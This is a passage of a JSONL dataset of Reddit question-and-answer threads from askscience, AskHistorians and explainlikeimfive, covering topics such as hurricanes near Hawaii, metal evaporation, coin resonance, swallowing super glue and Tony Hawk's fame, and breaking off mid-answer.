{"q_id": "95dr7l", "title": "With the current Hurricane headed towards Hawai'i, will the lava flow from the big island have any sort of impact on the trajectory of the hurricane?", "selftext": "Just wondering what the chances are of it diverting upwards like Hurricane Iniki.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/95dr7l/with_the_current_hurricane_headed_towards_hawaii/", "answers": {"a_id": ["e3sh3mj"], "score": [10], "text": ["No.  The heat output from a volcano can create updrafts and sometimes rainfall right next to the lava flow, but it's way too small to affect large-scale weather patterns.  The heat energy from sunlight shining on the Big Island is thousands of times greater than the volcanic heat output.\n\nIt's quite common for hurricanes to track just south of the Hawaiian Islands: there's always a risk they will turn north, but they rarely do.\n\nThe major hurricanes to hit Hawaii in recent memory (Iniki and 'Iwa) have both happened during strong El Nino years, which may suggest it plays an important role.  Current El Nino conditions are neutral."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1f5n40", "title": "Are there people who exist on the opposite end of the spectrum from sociopathy- i.e. an \"anti-sociopath\" or a hyper-empathic individual?", "selftext": "There's so much written about sociopathic and psychopathic people, but is there any information on the existence of people who are their opposite? \nIn other words, someone possessing such an overdeveloped conscience, empathy, and a sense of the rights of others that it could possibly be considered debilitating or even a personality disorder?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1f5n40/are_there_people_who_exist_on_the_opposite_end_of/", "answers": {"a_id": ["ca71bv7", "ca7249k", "ca77xpk", "ca79p4t", "ca7arx4", "ca7asox", "ca7d8s9"], "score": [162, 51, 37, 5, 21, 2, 15], "text": ["The closest condition that I can think of like this is called Williams syndrome (_URL_0_). People who have it tend to be overly trusting, cheerful and friendly. They also have a distinctive appearance and some negative physiological symptoms. However, I believe that being tooooo trusting can lead to a few problems.", "Maybe not exactly what you're looking for since this isn't exactly a disorder - but have you read about [highly sensitive persons](_URL_0_)? ", "I think the reason for the lack of literature on hyper-empathic individuals is  that these individuals may not encounter any difficulty as a result of their condition. Most definitions of mental illness specify not only some sort of atypical mental function, but also an impairment or other negative outcome of the atypical function (e.g. psychopathic kids burning cats). \n\nI'm sure you can think of an extreme case where someone is so empathic and giving that their own personal condition suffers due to lack of remaining time and resources from all the caring for others. However, assuming that there's some sort of normalized bell curve of \"empathicness\" that all humans fall into, while your individual that is one standard deviation from the mean in the negative direction might be frequently getting sent to the principal's office and having trouble making friends, your individual that is one standard deviation in the positive direction is probably getting straight A's and getting elected to Student Council. ", "X altruists _URL_0_", "Psychologist here, You might want to read an excellent book by Simon Baron-Cohen (yes, he's related), who does a lot of research into Autism. It's called, The Science of Evil. He contrasts Autism, Sociopaths, Narcissists and those with borderline personality disorders as all having low degrees of Empathy, but as being positive or negative types. Also, as being low on cognitive or emotional empathy. E.g., Autistics aren't good at figuring out what you believe, but are good at deducing your emotions. Sociopaths have problems reading peoples emotions.\n\nOn the other hand, he compares all of these with hyper-empathic people. So yes, there are very empathic people, but there are also many other types of those with low empathy. I'm not aware of distinctions being made into high cognitive vs emotional empathy in these cases though.", "You ahould look in the term indiscriminative-altruism.", "People with Borderline Personality Disorder have a heightened emotional baseline which forces them to experience emotions much more strongly than a person with out BPD... May not be what you are looking for, but it is the complete opposite of not having feelings, it's the over abundance of extremely intense emotions "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Williams_syndrome"], ["https://en.wikipedia.org/wiki/Highly_sensitive_person"], [], ["http://m.psychologytoday.com/blog/little-altruism/201001/altruism-heroics-and-extreme-altrusim"], [], [], []]}
{"q_id": "8mjsod", "title": "Can metals evaporate? If so, can the gas be condensed back into solid metal?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8mjsod/can_metals_evaporate_if_so_can_the_gas_be/", "answers": {"a_id": ["dzo46dk", "dzo60xb", "dzo6tw3", "dzo988r", "dzobkge", "dzosm2o", "dzovksk", "dzp2kn4", "dzp4vw7"], "score": [874, 160, 137, 62, 23, 6, 6, 3, 2], "text": ["Yes they can. In fact, [this is a common technique used to deposit thin films of metals.](_URL_0_)", "Sure, just heat it to a high enough temperature and they'll enter a gaseous phase.\n\nSometimes you don't even need much. [Mercury at room temperature evaporates slightly](_URL_0_), sufficiently to pose a chemical hazard.\n\nIn the past, some places that used a lot of liquid mercury used to have some mercury pooled under the floorboards, because it would evaporate and condense back to liquid form.", "That is why they use iodine in halogen lamps. The lamps is filled with iodine gas. Evaporated tungsten will react with iodine and return to the filament where it will split and the tungsten deposits on the filament. Then the filament can have a higher temperature giving better light without burning off the filament to rapid.", "Not just metals.  Most substances CAN be in a gaseous state at a high enough temp and low enough pressure.\n\nNow, like, wood can't, not as wood.  At a high temp wood will self-decompose (even without oxygen) and release gas which is not \"wood\" anymore.\n\nCarryin \"wood\" further, it decomposes into gas and ash, ash is mostly calcium carbonate, which has no boiling point because IT decomposes first into solid quicklime and CO2 gas, at about 840 \u00b0C.  This is not \"burning away\", no oxygen is used.  The calcium carbonate just splits by itself, you can't stop it.\n\nQuicklime (calcium oxide) boils at 2,850 \u00b0C.  So, THAT.  If you heat wood to 2,850\u00b0C in a vacuum, you will get nothing but gas- first flammable woodgas and ash, then the ash becomes CO2 leaving calcium oxide, then calcium oxide becomes gas, leaving.... nothing solid at all.\n\nUranium boils to a gas at 4131\u00b0C, btw.\n\nAlso, there may be a limit on calling it a \"gas\" in that before it gets hot enough to be a gas, it self-ionizes and becomes a plasma first.  Which is like a gas in many ways, but defined differently.\n\nAlso, like CO2, pretty sure if it's hot enough the carbon and oxygen don't stay together as CO2. \n\nCarbon burns to CO2 if you have oxygen.  But if you don't have oxygen, it evaporates to a carbon gas at 3915 K.  There is no liquid stage.  It sublimates. ", "Scientist believe that the meteor that killed off dinosaurs was so big, when crashed it sent molten rock into the atmosphere where it may have actually vaporized. By the time it reached the upper atmosphere it condensed and rained glass around the globe. The glass the. Reflected light causing the surface temperature to super heat to ~200* in roughly two minutes. ", "Yes, in fact this is how Silicon (technically a metalloid not a metal) is purified to a high enough level to make computer chips (etc.).\n\n\nMany gas phase (metal) nanoparticle production processes involve evaporation and condensation. You can get very small and very pure nanoparticles using this method.\n\n\nEven flame synthesis of metal oxides (Ti, Mg etc.) involve burning a metal and then condensing the oxide. This is how the pigments in many paints are made.\n\nAny device that involves a heated metal wire (toaters, e-cig coils, etc.) will also sublimate/evaporate metal nanoparticles.   ", "Yes, and it can be quite an issue for space flight applications. Low melting point metals in a vacuum have a rather low vapor pressure and can sublime (solid to gas phase transformation) at relatively low temperatures. For a spacecraft that is exposed to space vacuum, there is a lot of care to ensure that such metals are not exposed to conditions to where they can sublime, or that sensitive instruments are not at risk of being messed up by having gaseous metal re-solidify on them.", "the \"problem\" with lightbulbs in the early years was that any filament would just evaporate quickly from the heat or (in oxygen was present it would burn). The tungsten filament was a breakthrough because it evaporates (actually sublimates) into the vacuum  inside the bulb, then re-condenses onto the filament so it last longer.", "Yes.you take a powder of some metal, heat it to a degree where it starts evaporating, after which its molecules can be condensed on a cooler surface \\(not unlike water vapor condenses on your windows when you have AC on\\). Basically the molecules of the material \\(be it metal or water\\) are being cooled down by environment's  lower temperature and since they lose heat, they lose kinetik energy and can form bonds. Thats by definition gas state \\(kinetik energy is so big that molecules are just bouncing around in big volume and the only interaction between them is bumping into each other\\) turning into a solid state \\(potential energy here prevails over the kinetik energy and each molecule can pull its neighbour close not letting it bounce around much\\). That temperature on which this phase transition happens depends on many things like envioronmental pressure, material, etc. And we are making use of this \\(along with many other effects in certain conditions\\) to produce nanometer thin films, and since the films are so small quantomechanical effects can be observed. \n\nThis technique is called thermal vacuum deposition. As mentioned already by [HugodeGroot](_URL_0_), it is a widely used technique today, but of course for good results its not enough to just put a piece of metal and heat it. You have to make sure there is a good vacuum so other gesous crap does not interfere with the experiment, you need a very clear powder of a material you are deposition, also the target you are depositing it on should be in certain state at certain temperature ranges also."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Evaporation_(deposition\\)"], ["https://www.youtube.com/watch?v=lpZF88fqrl8"], [], [], [], [], [], [], ["https://www.reddit.com/user/HugodeGroot"]]}
{"q_id": "1dwyyc", "title": "What was the largest battle (or war) in history, with the most men by percent of the global population?", "selftext": "While there are many statistics on what wars had the most people, I've never heard what wars had the most people in terms of global population. I thought that would be an interesting thing to hear about.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1dwyyc/what_was_the_largest_battle_or_war_in_history/", "answers": {"a_id": ["c9uoxsh", "c9upwok", "c9ur3js", "c9usp2m", "c9ut6fp", "c9ut8ki", "c9ux71a", "c9uxogb", "c9v39a0"], "score": [282, 300, 51, 37, 13, 19, 5, 2, 22], "text": ["Matthew White's 'Great Big Book of Horrible Things' talks about the largest population plummets in recorded history. Some of the worst are due to the Xin Dynasty, which is thought to have killed nearly 6% of the world population, and the An Lushan Rebellion, which is approximately the same percent.\n\nThe worst by far was Genghis Khan, who wiped out a little over 11% of the earth's population. I've heard different figures, of course, but this seems to be a common thought.\n\n[Here's](_URL_0_) a really cool chart, the bottom left is where I saw most of the data.\n\nEdit: Some very good points were made regarding the validity of the data collected by White. Thanks for teaching me something new guys.", "By Zeus, people, stop quoting random trivia about big battles in history; OP obviously asked which was the single biggest, not asking for big slaughters in general. Be prepared to argue why your example is bigger than all the others, and go in to some depth about the acquisition of the numbers that you cite; please be aware of our [rules](_URL_0_).\n\nI'm culling this thread for trivia now.", "Probably more of an anthropology angle, but there is evidence that the human population crashed to between [3000-15000 individuals](_URL_0_) at one point around 50,000 years ago. Although this is pre-history, I think it adds some perspective. Any conflicts during this period could have involved a very large proportion of the surviving human population.", "Corollary question: What was the largest single day battle in history?", "China is usually a good place to look when you're looking for large battles with lots of troops. The Central Plains war in 1930 for example was quite deadly. 1.3 million troops with 300k casualties over 6 months.", "The Battle of the Red Cliffs (or Chibi) involved somewhere between 300,000 and 800,000 soldiers. According to Wikipedia, Cao Cao had somewhere between 250,000 and 800,000 soldiers, and was pitted against a force of only 50,000.\n\nIt's unknown exactly how many died, but considering the Cao Cao's larger force lost the battle due to the cunning mix of fire and wooden ships means it was likely that his casualties were high.\n\n[Wiki](_URL_0_)", "Perhaps the largest actual 'battle' is the [Battle of the Somme](_URL_0_) which resulted in about 1.2 million casualties. The allies had about 1.2 million, and the German Empire had about 1.375 million all engaged in this battle. Despite the allies losing significantly more troops, it was a phyrric victory for the German Empire.", "I'm not sure about its size in relation to global population, but [Operation Bagration](_URL_0_) is the largest battle I know of, involving around three million people.", "So I ran some numbers...\n\nbattle..year..Combatants low estimate..Combatants high estimate ..Global population estimate..Low ratio..High ratio\n\nKadesh \t1247 BC \t19000 \t70000 \t50000000 \t0.04% \t0.14%\n\nThermopylae \t480 BC \t75000 \t311000 \t100000000 \t0.08% \t0.31%\n\nVercellae \t101 BC \t260000 \t260000 \t200000000 \t0.13% \t0.13%\n\nAlesia \t52 BC \t240000 \t390000 \t200000000 \t0.12% \t0.20%\n\nPhilippi \t42 BC \t200000 \t410000 \t200000000 \t0.10% \t0.21%\n\nVienna \t1683 AD \t200000 \t410000 \t800000000 \t0.03% \t0.05%\n\nSomme \t1916 AD \t2575000 \t2575000 \t1700000000 \t0.15% \t0.15%\n\nSmolensk\t1941 AD\t1012000\t1012000\t2500000000\t0.04%\t0.04%\n\nKursk\t1943 AD\t2822000\t2822000\t2500000000\t0.11%\t0.11%\n\nD-Day \t1944 AD \t166000 \t166000 \t2500000000 \t0.01% \t0.01%\n\n(Unfortunately Chinese history is a blank spot to me, and while I could look up numbers for battles there, I would would have no sense of how reliable they were.)\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nytimes.com/imagepages/2011/11/06/opinion/06atrocities_timeline.html?ref=sunday"], ["http://www.reddit.com/r/AskHistorians/wiki/rules"], ["http://en.wikipedia.org/wiki/Toba_catastrophe_theory#Genetic_bottleneck_theory"], [], [], ["http://en.wikipedia.org/wiki/Battle_of_Red_Cliffs"], ["http://en.wikipedia.org/wiki/Somme_1916"], ["http://en.wikipedia.org/wiki/Operation_Bagration"], []]}
{"q_id": "1an8xa", "title": "How was the permeability of free space derived?", "selftext": "It seems really strange to me that it is a constant with respect to pi. What were the calculations to derive that the permeability of free space is equal to 4\u03c0\u00d710^\u22127 V\u00b7s/(A\u00b7m)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1an8xa/how_was_the_permeability_of_free_space_derived/", "answers": {"a_id": ["c8yyre0", "c8z2wsj", "c8z5ch2"], "score": [11, 3, 2], "text": ["Well... there's a fixed relationship between the permitivity and permeability of free space (c^2 = 1/(\u03b50\u03bc0)). In the SI system of units, meters and seconds are both defined, and therefore c is fixed.  We then *defined* the permeability of free space, which in turn fixes the permittivity of free space.\n\nSo in short, that value is defined, not derived.  In other unit systems, they define a different value for the permeability and permittivity.", "The value is defined and the pi apear as a result, I think nice explains it nicely: \n_URL_0_", "Start reading at the bottom of [page 2.](_URL_0_)\n\nI could give further explanation, but I think that presentation is rather concise. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Magnetic_constant"], ["http://ieeeb.okstate.edu/lecturenotes/EET-4654%20Microwaves/Lecture%205.pdf"]]}
{"q_id": "32zrka", "title": "What physical characteristic allows gold/silver coins to \"ping\"/resonate when struck while coins made from other metals with the same crystal structure do not?", "selftext": "For example a platinum coin does not resonate when struck, even though it has the same face-centered cubic crystal structure as silver and gold. Does the speed of sound in the material play a role?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/32zrka/what_physical_characteristic_allows_goldsilver/", "answers": {"a_id": ["cqg81nf", "cqg97fr", "cqgf6m6", "cqggadh", "cqggvps", "cqggx9x", "cqghk3y"], "score": [32, 92, 10, 6, 9, 5, 18], "text": ["Another example: Copper pennies ring, whereas zinc pennies do not.", "It more has to do with the harmonic frequencies that resonate in the metal that make the ping. This is how a tuning fork works but in the case of the platinum I would guess that the harmonic that it reaches produces a sound that has too small of a wavelength for a person to hear which really has to do with the substance's ability to vibrate in itself to my understanding.", "The ability to resonate depends equally on structural composition and shape of the object. \n\nTo demonstrate this, take for example guitar strings. Assuming equal tension on each, and that each of them are all made of the same material - it is the difference in dimension (in this case the diameter) that accounts for the variations in tone.\n\nHope this helps", "Stiffness and hardness have to factor into it. A metal that's easily deformed will dissipate energy more quickly through deformation, leaving less to resonate through the metal. Lead doesn't make a very good bell.", "The resonant frequency depends on the elastic modulus, density, and geometry (size/shape) of the object. For specific equations relating these, see [the ASTM standard for modulus determination by impulse excitation](_URL_0_). As others have pointed out, if these combine to give an ultrasonic frequency as the fundamamental mode (ie, high modulus, low density, small, low aspect ratio), you won't hear it. How long it \"rings\" for depends on more than just the crystal structure. The lower the yield stress is of the material, the more energy will be lost to small (grain-scale) plastic deformation. The grain size may also play a role (phonon scattering off grain boundaries?) but I'm not sure on that.", "I believe you want the ratio of the diameter of the coin to the wavelength of the natural frequency to be approximately an integer. This could be satisfied for any of several different modes (shapes) of vibration.\n\nThe wavelength of the natural frequency is determined by properties such as the density and the stiffness of the material (they both also play a role in the speed of sound within the material), and the thickness of the coin.\n\nLow damping is also relevant, but I imagine that most metals that coins are made of would be fine in this regard.\n\nI don't think the crystal structure would have a large direct effect. It would certainly influence the density and stiffness of the material. (Disclaimer: I don't know more than I need to as a mechanical engineer about crystal structure, but am somewhat familiar with resonance).\n", "Firstly, you have to remember that alloying really changes the crystal structure in a complicated way. A small amount of carbon added to iron (making steel) changes the material properties in a dramatic way. So the crystal structures can be sufficiently different, because of a small amount of added material, to greatly change the mechanical properties (you almost never get pure gold coins because they're too soft, [see e.g.](_URL_0_)).\n\nThe mechanical properties of interest are the (bulk) speed of sound and the damping factor. For the same geometry, the higher the speed of sound, the higher the frequency of the normal (\"resonant\") modes. The damping factor for each normal mode is very much dependent on the geometry and material properties, but our ears are very sensitive to this---it determines whether the coin will \"ring\" (Aluminium) or give a \"dull thud\" (Lead).\n \nFor a thin coin, the lower frequency normal modes (the ones that aren't ultrasonic and therefore we can hear) are closer to a membrane and therefore harmonic. As the coin gets thicker (for the same diameter), the divergence from harmonicity becomes greater. We tend to find harmonic systems more mellifluous (pleasing to the ear)---unless you've, like me, become accustomed to a large amount of distortion and weird sounding instruments."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www.astm.org/Standards/E1876.htm"], [], ["http://en.wikipedia.org/wiki/Krugerrand"]]}
{"q_id": "2i3xjq", "title": "mid-day slump", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2i3xjq/eli5_midday_slump/", "answers": {"a_id": ["ckykoxt", "ckykqn4"], "score": [5, 2], "text": ["Typically it's going to be because either your blood sugar is dropping before you eat, or, after you eat, you blood sugar is spiking (and you're likely a diabetic)\n\nsource: am a diabetic and noticed the same thing when i was at work i'd eat and then feel like i was passing out at my desk", "Couple things could be going on.\n\nYour body could be reacting(processing) to a large amount of sugar in your system at that point.\n\nYou could be running low on fuel/energy\n\nYou might have just conditioned yourself to just be bored/tired\n\nYou might not be getting enough sleep at night, or good sleep."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "34898s", "title": "Does the Svalbard Global Seed Vault in Norway have 'illegal' seeds and spores in their collection?", "selftext": "Always wondered if they would have 'illegal' seeds/spores, etc.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/34898s/does_the_svalbard_global_seed_vault_in_norway/", "answers": {"a_id": ["cqs9ax0", "cqsb8py"], "score": [26, 9], "text": ["Let's find out!\n\n_URL_2_\n\n[Cannabis](_URL_0_)\n\n[Papaver somniferum](_URL_1_)\n\nBut no Erythroxylum?!", "Do they have patented gmo seeds?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nordgen.org/sgsv/index.php?app=data_unit&amp;inc=search_form&amp;unit=sgsv_by_taxon&amp;unit_id=&amp;filter_field=genus&amp;filter_op=~*&amp;filter_value=cannabis&amp;field_display=&amp;offset=0&amp;limit=25&amp;orderby_previous=sgsv_by_taxon.genus&amp;orderby=sgsv_by_taxon.genus&amp;orderdesc=false&amp;letter=C", "http://www.nordgen.org/sgsv/index.php?app=data_unit&amp;unit=sgsv_by_species&amp;unit_id=2116211", "http://www.nordgen.org/sgsv/"], []]}
{"q_id": "7qk572", "title": "why can't we use cellulase, an enzyme that can break down cellulose (wood and grass) into sugar, to eliminate world hunger?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7qk572/eli5_why_cant_we_use_cellulase_an_enzyme_that_can/", "answers": {"a_id": ["dspqr3k", "dspr9ji", "dspu3t1", "dsq1qii"], "score": [12, 209, 12, 2], "text": ["[Although people are working on it](_URL_0_), producing cellulase on the scale you're describing, to feed that many people that much food, isn't more efficient than just growing edible crops in the first place.  Also, your assertion that there's plenty of grasses to eat in the places where people are starving, I'm not sure is true:  the places that need food are generally experiencing drought so those native grasses are often not growing enough to provide enough edible material even when processed.  Heck, most 'grains' are essentially a grass, if they could grow grains instead of native grasses, they would.", "WORLD HUNGER ISN'T DUE TO LACK OF FOOD, IT'S DUE TO LACK OF DISTRIBUTION, WHICH IS DUE TO LACK OF MONEY.\n\nThere is already enough food production in the world to feed everyone. The hard part is convincing people to take it to the right places. The places that are full of hungry people tend to be poor and war-torn. The places where food sells the best tend to be fat and wealthy. AND THE SAME PROBLEM APPLIES TO THE INDUSTRIALIZATION NEEDED TO PROCESS CELLULOSE.\n\nCellulase is expensive, as is the equipment needed to use it, and the energy infrastructure needed to power the equipment. In terms of money, technology, manpower, etc, it's no easier to do what you're asking than to transport food from elsewhere, or to just plain set up better farms locally.\n\nTL;DR: putting a state-of-the-art cellulosic food factory in central Africa isn't going to work when it doesn't have electricity, can't afford more cellulase, and then gets blown up by a warlord.", "People aren't starving from lack of calories anymore.\n\nThey are dying from malnutrition:  lack of vitamins and minerals.\n\nProducing tons of cheap sugar won't help.", "Cellulases can break down cellulose from wood or grass into sugars. However, wood (and grass) consist of more than just cellulose. Untreated wood also contains other compounds (e.g. 'oily' lignin) that reduce the activity of your cellulase. Cellulases work best with pulp (the raw material for paper made by grinding and 'cooking' wood). However, pulp is more expensive than sugar. Therefore there is currently no economic incentive to convert cellulose into sugars.\n\nHowever, there are [processes up and running](_URL_1_) that produce ethanol (biofuel) from straw using cellulases. Furthermore, carbs are not the main issue in malnutrition. Vitamins and proteins are more important. Interestingly, proteins can be produced from industrial waste streams (for example from diluted methanol, [single cell protein](_URL_0_))\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://biotechnologyforbiofuels.biomedcentral.com/articles/10.1186/s13068-017-0717-0"], [], [], ["https://en.wikipedia.org/wiki/Single-cell_protein", "https://www.clariant.com/en/Business-Units/New-Businesses/Biotech-and-Biobased-Chemicals/Sunliquid"]]}
{"q_id": "7acunj", "title": "the combined federal campaign and what they do?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7acunj/eli5_the_combined_federal_campaign_and_what_they/", "answers": {"a_id": ["dp8wyjl"], "score": [3], "text": ["It's the federal government's charity fund raiser (it's also the world's largest and most successful annual workplace charity campaign).  They combined all the agencies separate charity fundraisers into one combined effort.  Federal employees designate to have charitable donations removed from their next year's paychecks (in the past they could donate directly, too).  Many agencies have some fun attention and fundraisers (like a talent show, or casual Fridays if you make a donation).  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "raxhx", "title": "When an atom catches a stray neutron, is some of the matter transmuted to energy in the form of a gamma ray? ", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/raxhx/when_an_atom_catches_a_stray_neutron_is_some_of/", "answers": {"a_id": ["c44d6r6"], "score": [2], "text": [" >  When an atom catches a stray neutron, is some of the matter transmuted to energy in the form of a gamma ray?\n\nNot necessarily, sometimes. A neutron can be captured and merely add to the atom's overall mass. In other circumstances, the neutron can cause an atom to break apart and release two or more neutrons as a side effect, as in nuclear fission. Some of these reactions also cause the release of energy as photons such as gamma rays, depending on the specifics of the reaction.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bmcmlq", "title": "What would happen if someone swallowed super glue?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/bmcmlq/what_would_happen_if_someone_swallowed_super_glue/", "answers": {"a_id": ["emw3h84", "emxeozi"], "score": [97, 6], "text": ["If already set: nothing serious; you'll likely poop it out like chewing gum.\n\nIf fresh: Nothing good, but very luck dependant.  It will irritate mucous membranes as it polymerised rapidly in the moist environment.  The worst case would be lodgement in the trachea, which could block up solid, leading to suffocation. \nThe best case would be sliding down a well lubricated esophagus without much interaction, then landing in a stomach partially filled with food to bind with.  This outcome would lead to large, difficult to pass bowel movements, perhaps serving as a reminder to not swallow superglue.\nThe actual term, superglue, can refer to any mixture of a family of rapidly polymerizing monomers called cyanoacrylates.  These vary in toxicity, however the most commonly used have very low toxicity, and mostly won't be able to reach the bloodstream via the scenario you described, as they cannot cross membranes in polymer form and there isn't a biological mechanism for breaking Carbon-Carbon single covalent bonds in the digestive tract.  Some cyanoacrylates are relatively volatile and can be absorbed in the respiratory system, where toxicity concerns become more relevant.", "Commercial Super Glue (CA) will set almost instantly when it contacts saliva.  It's made to do that.  You can use spit as \"Jet Kicker\".  Likely, you wouldn't be able to swallow it as it will set so fast and be stuck to your tongue.  You can use hot water to remove it when bound to skin.\n\nIf you're trying to swallow medical CA it will kick instantly and have a similar result, however, it will bond much more tightly.  Hot water probably wouldn't cut it and there's a good chance you could bond your tongue to your hard pallet or soft pallet.  That would need a doctor.\n\nIf it could possibly make it into your stomach, it will be fine.  It's non toxic and the acid in your gut will de-polymerize it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1j8gf1", "title": "Does zero gravity in space affect the way medicines are delivered?", "selftext": "Are drug delivery methods different in space? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1j8gf1/does_zero_gravity_in_space_affect_the_way/", "answers": {"a_id": ["cbcf9x5"], "score": [3], "text": ["The most significant obstacle to drug delivery in microgravity is space motion sickness (SMS), which differs from the terrestrial variety - it is often more abrupt and more frequently accompanied by headaches. For this reason, the oral route is often not viable. Transdermal patches, intramuscular injections, and suppositories circumvent the risk of tossing your cookies in space and losing the dose. To further complicate matters, microgravity may also slow gastrointestinal motility, potentially leading to erratic/unpredictable absorption of orally administered medications. \n\nA few other microgravity changes would also effect drug distribution - changes in total body water distribution, possible alterations in plasma levels of key hepatic enzymes, etc - but these changes aren't necessarily unique to any given delivery mechanism. That is, they would affect any type of drug administration. \n\nWith regard to the IV question, \"drips\" in the traditional sense would not work because they rely on gravity. However, most IVs in institutions nowadays run on a pump, so I think they would still be a feasible option. \n\nLongterm stability studies have been conducted on drugs by storing them on the International Space Station and a few seem to be slightly more prone to degradation than others; they reach lower-than-acceptable levels of active ingredient before their labeled expiration date. These include: levothyroxine, dextroamphetamine, promethazine, trimethoprim, sulfamethoxazole, and clavulanate. Administration of these drugs, therefore, may be challenging via any route. \n\nMore than you ever wanted to know?\n\n\nDu B, et al. Evaluation of Physical and Chemical Changes in Pharmaceuticals Flown on Space Missions. The AAPS Journal. 2011; 13(2): 299-308.\n\nGraebe A, et al. Physiological, Pharmacokinetic, and Pharmacodynamic Changes in Space. J Clin Pharmacol. 2004; 44: 837-853.\n\nMarshburn TH. Acute Care. In: Barratt MR, Pool SL, eds. Principles of Clinical Medicine for Space Flight. New York, NY: Springer; 2008: 101-121."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3ed0ya", "title": "If Samarium-147 has a 106 billion year half life (roughly 7.5 times the age of the universe), how do we even know?", "selftext": "The same goes for any other extremely long lived isotope - rubidium-87, rhenium-187, thorium-232, etc. It's not like we can watch it happening, so how do we even know it is?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3ed0ya/if_samarium147_has_a_106_billion_year_half_life/", "answers": {"a_id": ["ctdr6ud"], "score": [37], "text": ["We can actually watch it.\n\nThe halflife of an isotope is a measure for the time after which half the number of atoms has decayed. But the decay of an individual atom does not happen after a fixed time, it is a matter of chance. That means that if you have enough of a certain long lived isotope, it will be decaying constantly. The amount of decay-events is directly proportional to the amount of the isotope present. The constant of proportionality is related to the halflife of the isotope.\n\nSo by measuring how strong the radiation generated by the decay is, we can determine how many decay events are taking place. And if we know how much material we have, we can compute the halflife. By taking more measurements, you can improve the accuracy of the result.\n\nWhat it essentially boils down to is that you don't need to wait the entire halflife. You can compute the halflife by just observing a small amount of the material decay."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5x5r4c", "title": "how did tony hawk become a household name while all other skateboards are mostly unknown?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5x5r4c/eli5_how_did_tony_hawk_become_a_household_name/", "answers": {"a_id": ["defg6eo", "defgv1t", "defiulw", "defjdf7", "defnuag", "defttn4", "defu2y2", "defv17l", "defvbvx", "defwqm3", "defwtyy", "defx7fy", "defxzk7", "defxzmb", "defybg1", "defyp8m", "deg19cn", "deg2n5y", "deg2ncn", "deg2xpw", "deg3mzg", "deg478h"], "score": [167, 144, 33, 39, 275, 4, 19, 189, 22, 26, 9, 6, 3, 1608, 5, 34, 7, 2, 2, 2, 2, 2], "text": ["Business savvy, and luck.  Tony Hawk put his name on the front of a video game in a time when playing video games was starting to become the norm.  Whoever the smart guy was that convinced tony hawk to put his name on the pro skater franchise is the real money guy.", "Tony Hawk has also been the first to land certain tricks and jumps in official competitions.", "Because he was marketable and started marketing himself from a very young age in the 1980s. The very few other pro  skateboarders willing to do the same in the 80s and 90s just didn't do it as well as he did", "A lot about being successful in skateboarding is knowing how to market yourself. You can be an amazing skater, but if you don't have the skills necessary to appeal to an audience you won't sell things with your name on it. Tons of pro skateboarders fall off and lose endorsements and sponserships because they lack in this area. ", "I've worked with Tony Hawk once in a prior job (it was related to his autobiography \"Hawk / Occupation: Skateboarder.\" [edit: corrected title]). Both he and his management staff were incredibly professional and gracious. From what I can see, everyone who's worked with him wants to work with him again. I have to think that over the years that's been a huge factor in his enduring success. \n\nAlso his parents never fucked him over/stole his money, which definitely sets him apart from many/most people who became celebrities when they were young.\n", "He came along at the perfect time. It was the peak interest of extreme sports, and the Tony Hawk N64 game was huge. He also was miles ahead of the competition much like Sean White, or Travis Pastrana he could get so much air on a half pipe it was amazing. Street skating doesn't come with the spectacle that ramp skating does too so it makes it harder for street skaters to be more famous. ", "It's just like how Michael Phelps and Shaun White are household names. People remember people who are the best at what they do. Tony Hawk was an amazing skateboarder for a very long period of time and was the first to land a 900 (2.5 spins). He has also been great at monetizing his success with his video games and brand, which has kept his name around longer.", "Must have been 1988 or so. My best friend Sean and I were HUGE Tony Hawk fans, and skateboarding was really taking off at that time. There was a skate shop 2 blocks away from our houses, and we hung out there a lot during the summer. No internet back then obviously, so we would just loiter in the shop for hours watching the newest skate videos and reading Thrasher Magazine. There was a flier up on the wall for a show to be held at the fairgrounds, and Tony Hawk and Gator Rogowski were going to be skating. I remember two things from that show, one was the first time a saw a t-shirt gun, and second was watching Tony Hawk ollie over a Porsche. Here we are 29 years later and Tony is still the most popular skater in the world. Gator is in prison for rape and murder. ", "He was much more marketable than other skaters because he was clean cut and had better upbringing than most skaters who portrayed the alternative lifestyle. He became a household name because he is a because the media wanted him as the face instead of drug using, swearing, tattooed, 